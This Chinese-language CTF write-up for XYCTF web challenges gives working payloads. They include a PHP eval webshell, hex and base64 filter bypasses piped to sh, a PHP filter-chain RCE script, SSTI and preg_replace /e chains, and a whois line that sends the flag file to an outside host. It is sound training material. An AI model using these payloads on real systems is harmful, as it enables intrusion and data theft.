ezMake(makefile) 写马 随便输入
PATH 环境变量被显式地设定为空。这段 Makefile 的逻辑检查了 PATH 是否未定义,如果未定义则设为空,如果已定义也重设为空。由于 PATH 被设置为空,shell 将无法定位到除内置命令之外的任何外部命令的位置。
Bash 内建命令,这些命令是由Bash自身提供,而不是独立的程序:
alias - 定义或显示别名。 cd - 改变当前目录。 echo - 输出参数到标准输出。 exit - 退出当前shell。 export - 设置或显示环境变量。 history - 显示命令历史记录。 pwd - 打印当前工作目录的路径。 read - 从标准输入读取一行数据。 set - 设置或取消设置shell选项和位置参数。 type - 显示一个命令的类型。 unset - 删除变量或函数的定义。
尝试base64写马
echo "PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4K" | base64 -d > 1.php echo "<?php eval($_POST[cmd]);?>" | base64 -d > 1.php
被禁止,尝试十六进制成功
echo '<?=eval(hex2bin("6576616c28245f504f53545b22636d64225d293b"))?>' > 1.php echo '<?=eval(hex2bin("eval($_POST["cmd"]);"))?>' > 1.php
直接传参cmd
拿flag
cmd=system("ls"); cmd=system("cat flag");
直接输出 直接输入$(shell cat flag)
可直接获得flag
非预期 直接访问/flag,获得flag
ez?Make(makefile+过滤) 过滤f l a g @ $ * ? / 等,但是没有了环境变量的限制,可以用其他命令了
sort构造 sort `pwd | cut -c 1`[e-h][k-m][!b][e-h] #sort为排除文本文件内容,pwd为当前路径,pwd | cut -c 1可截取当前路径第一个字符,即/;再通过构造flag 完整语句为 sort /flag
十六进制 `echo 636174202F666c6167 | xxd -r -p` #636174202F666c6167为cat /flag十六进制,xxd是一个用于创建十六进制转储的工具,或者反向操作,即将十六进制转储恢复为二进制文件。这里的参数-r表示反向转换(从十六进制到二进制/ASCII),-p表示以纯十六进制格式读取输入。 完整语句为 `echo cat /flag`
补充:绕过flag四个字符过滤方法 if(preg_match('/f|l|a|g|\*|\?/i',$cmd)){ die("Hacker!!!!!!!!"); } 1、echo Y2F0IC9mbGFn| base64 -d | sh #cat /flag 2、echo 636174202f666c6167 | xxd -r -p | bash #cat /flag 16进制 3、通配符 more /[b-z][b-z][@-z][b-z] 4、a=g.php; cat fla$a
ezLFI(本地文件包含) 尝试常见伪协议无作用,尝试rce,参考利用filter过滤器的编码组合构造RCE
import requestsurl = "http://gz.imxbt.cn:20824/?file=" file_to_use = "/etc/passwd" command = "/readflag" base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4" conversions = { 'R' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2' , 'B' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2' , 'C' : 'convert.iconv.UTF8.CSISO2022KR' , '8' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2' , '9' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB' , 'f' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213' , 's' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61' , 'z' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS' , 'U' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932' , 'P' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213' , 'V' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5' , '0' : 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2' , 'Y' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2' , 'W' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2' , 'd' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2' , 'D' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2' , '7' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2' , '4' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2' } filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" filters += "convert.iconv.UTF8.UTF7|" for c in base64_payload[::-1 ]: filters += conversions[c] + "|" filters += "convert.base64-decode|" filters += "convert.base64-encode|" filters += "convert.iconv.UTF8.UTF7|" filters += "convert.base64-decode" final_payload = f"php://filter/{filters} /resource={file_to_use} " r = requests.get(url, params={ "0" : command, "action" : "include" , "file" : final_payload }) print (r.text)
ezClass(php原生类) <?php highlight_file (__FILE__ );$a =$_GET ['a' ];$aa =$_GET ['aa' ];$b =$_GET ['b' ];$bb =$_GET ['bb' ];$c =$_GET ['c' ];((new $a ($aa ))->$c ())((new $b ($bb ))->$c ()); 解释:创建两个对象并调用它们的方法: 第一个对象是通过 new $a ($aa ) 创建的,然后调用该对象的 $c 方法。 第二个对象是通过 new $b ($bb ) 创建的,然后也调用该对象的 $c 方法。 最后,将第一个对象调用的结果作为参数传递给第二个对象调用。
system 分析后(new $a($aa))->$c()
应该为函数,(new $b($bb))->$c()
应该为参数,因此将(new $a($aa))->$c()
构造为system,(new $b($bb))->$c()
构造为命令
a=ArrayIterator&aa[]=system&c=current&b=ArrayIterator&bb[]=ls / #ArrayIterator类别可调用current方法返回当前值,并且属性需要传入数组 a=ArrayIterator&aa[]=system&c=current&b=ArrayIterator&bb[]=cat /f*
error 通过Error可以构造任意字符串,因此构造php的error类带出信息
?a=Error&aa=system&c=getMessage&b=Error&bb=cat /f*
ezmd5 随便找两张图片上传,发现不仅限制为jpg文件还限制为两张图片md5值相等,参考Are there two known strings which have the same MD5 hash value?
这两张图片md5生成,直接上传即可
其实应该是通过fastcoll工具生成的
fastcoll工具生成fastcoll_v1.0.0.5.exe -p 1.jpg -o 11.jpg 12.jpg
1.jpg
需要自己提供
ezhttp(请求头信息) 源码中注释提示放在某个地方,猜测robots.txt
访问/l0g1n.txt
获得username和password
回去登录,结果说不是yuanshen.com来的不要原来你也玩原神,尝试抓包更改referer
更改UA:XYCTF
,UA即为浏览器标识
又要求为本地用户,添加X-Forwarded-For:127.0.0.1
但是提示禁止X-Forwarded-For(xff),因此改为Client-ip:127.0.0.1
要求代理,添加Via: ymzx.qq.com
小饼干联想到cookie,修改cookie为XYCTF
成功拿下flag,感觉和19极客大挑战的ezhttp有点像
完整payload为
Referer: yuanshen.com User Agent: XYCTF Client-IP: 127.0.0.1 Via: ymzx.qq.com Cookie: XYCTF
补充:常见本地请求头 防止这个题一样X-Forwarded-For被ban,多积累一点
X-Forwarded-For:127.0.0.1 Client-ip:127.0.0.1 X-Client-IP:127.0.0.1 X-Remote-IP:127.0.0.1 X-Rriginating-IP:127.0.0.1 X-Remote-addr:127.0.0.1 HTTP_CLIENT_IP:127.0.0.1 X-Real-IP:127.0.0.1 X-Originating-IP:127.0.0.1 via:127.0.0.1
ezRCE 参考[利用shell脚本变量构造无字母数字命令](利用shell脚本变量构造无字母数字命令 - 先知社区 )
改一下官方脚本
n = dict () n[0 ] = '0' n[1 ] = '1' n[2 ] = '2' n[3 ] = '3' n[4 ] = '4' n[5 ] = '5' n[6 ] = '6' n[7 ] = '7' f = '' def str_to_oct (cmd ): s = "" for t in cmd: o = ('%s' % (oct (ord (t))))[2 :] s += '\\' +o return s def build (cmd ): payload = "$0<<<$0\<\<\<\$\\\'" s = str_to_oct(cmd).split('\\' ) for _ in s[1 :]: payload += "\\\\" for i in _: payload += n[int (i)] return payload+'\\\'' payload = "ls /" print (build(payload))
最终payload
cmd=$0<<<$'\143\141\164\40\57\146\154\141\147'
牢牢记住,逝者为大 <?php highlight_file (__FILE__ );function Kobe ($cmd ) { if (strlen ($cmd ) > 13 ) { die ("see you again~" ); } if (preg_match ("/echo|exec|eval|system|fputs|\.|\/|\\|/i" , $cmd )) { die ("肘死你" ); } foreach ($_GET as $val_name => $val_val ) { if (preg_match ("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i" , $val_val )) { return "what can i say" ; } } return $cmd ; } $cmd = Kobe ($_GET ['cmd' ]);echo "#man," . $cmd . ",manba out" ;echo "<br>" ;eval ("#man," . $cmd . ",mamba out" );
要求传参cmd长度小于13,且不含常见命令字符,那就先传个参当跳板cmd=%0a`$_GET[1]`;%23&1=payload
用%0a换行符截断前面,%23注释符注释后面
这里可以反弹shell
whois -h ip -p port `more /[b-z][b-z][@-z][b-z]` 完整payload:cmd=%0a\`$_GET[1]`;%23&1=whois -h ip -p port `more /[b-z][b-z][@-z][b-z]`
也可以用cp复制flag到1.txt中,再访问1.txt即可
c\p /[@-z][@-z][@-z]g 1.txt 完整payload:cmd=%0a`$_GET[1]`;%23&1=c\p /[@-z][@-z][@-z]g 1.txt
warm up level1 <?php include 'next.php' ;highlight_file (__FILE__ );$XYCTF = "Warm up" ;extract ($_GET );if (isset ($_GET ['val1' ]) && isset ($_GET ['val2' ]) && $_GET ['val1' ] != $_GET ['val2' ] && md5 ($_GET ['val1' ]) == md5 ($_GET ['val2' ])) { echo "ez" . "<br>" ; } else { die ("什么情况,这么基础的md5做不来" ); } if (isset ($md5 ) && $md5 == md5 ($md5 )) { echo "ezez" . "<br>" ; } else { die ("什么情况,这么基础的md5做不来" ); } if ($XY == $XYCTF ) { if ($XY != "XYCTF_550102591" && md5 ($XY ) == md5 ("XYCTF_550102591" )) { echo $level2 ; } else { die ("什么情况,这么基础的md5做不来" ); } } else { die ("学这么久,传参不会传?" ); }
第一层弱比较,0e或数组都行
val1[]=1&val2[]=2 val1=QNKCDZO&val2=240610708
第二层和第一层报错一样,差点以为第一层都没过(bushi)
md5=0e215962017 #加密后为0e291242476940776845150308577824,积累
第三层还是通过0e绕过,同时一个变量覆盖
XY=0e215962017&XYCTF=0e215962017
完整payload
val1[]=1&val2[]=2&md5=0e215962017&XY=0e215962017&XYCTF=0e215962017
level2 <?php highlight_file (__FILE__ );if (isset ($_POST ['a' ]) && !preg_match ('/[0-9]/' , $_POST ['a' ]) && intval ($_POST ['a' ])) { echo "操作你O.o" ; echo preg_replace ($_GET ['a' ],$_GET ['b' ],$_GET ['c' ]); } else { die ("有点汗流浃背" ); }
第一层,intval中传入数组时,会判断数组中的是否存在元素,有则返回1,否则返回0,preg_match当检测的变量是数组的时候会报错并返回0,使用数组绕过,payload:a[]=1
。preg_replace($_GET['a'],$_GET['b'],$_GET['c'])
即在a中找到和c相同的内容替换为b
a=/1/e&b=system('cat /f*')&c=1 这里涉及到preg_replace()函数漏洞,见下,但是该语句简单来说就是构造ac相同字符,然后用b替换,最终能够执行获取flag
补充:preg_replace()
函数漏洞 参考CTF-WEB:攻防世界 ics-05(preg_replace() 函数 /e 漏洞)
语法 1 mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
$pattern :(字符串)
这是要匹配的正则表达式模式。
可以是一个字符串或一个包含多个模式的数组。
$replacement :(要替换的内容)
这是用于替换匹配项的内容。
可以是一个字符串或一个包含多个替换内容的数组。
$subject :(替换字符串中的字符)
$limit (可选):
限制每个模式的最大替换次数,默认为 -1
(无限制)。
$count (可选):
如果提供了一个变量,它将被设置为替换操作执行的次数。
/e漏洞 如果 subject 是一个数组, preg_replace() 返回一个数组,其他情况下返回一个字符串。如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。
这个函数有个 “/e” 漏洞,“/e” 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码进行执行。如果这么做要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
我是一个复读机 用所给弱口令密码抓包爆破
发现如下文本框
尝试了一下为ssti,但是{{}}、{%%}、_、'
都被ban了,参考[常规绕过姿势](SSTI服务端模板注入漏洞原理详解及利用姿势集锦 - 2ha0yuk7on - 博客园 )
最终payload
我()|attr(request.args.v1)|attr(request.args.v2)|attr(request.args.v3)()|attr(request.args.v4)(80)|attr(request.args.v5)|attr(request.args.v6)|attr(request.args.v4)(request.args.v7)|attr(request.args.v4)(request.args.v8)(request.args.v9)我&v1=__class__&v2=__base__&v3=__subclasses__&v4=__getitem__&v5=__init__&v6=__globals__&v7=__builtins__&v8=eval&v9=__import__('os').popen('cat /flag').read()
εZ?¿м@Kε¿? 查看源码后发现hint.php,访问发现没被ban的只有题目描述中的/^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/
,即围绕$
进行,参考Makefile的编写及四个特殊符号的意义@、$@、$^、$
最终payload:$$(<$<)
通过报错带出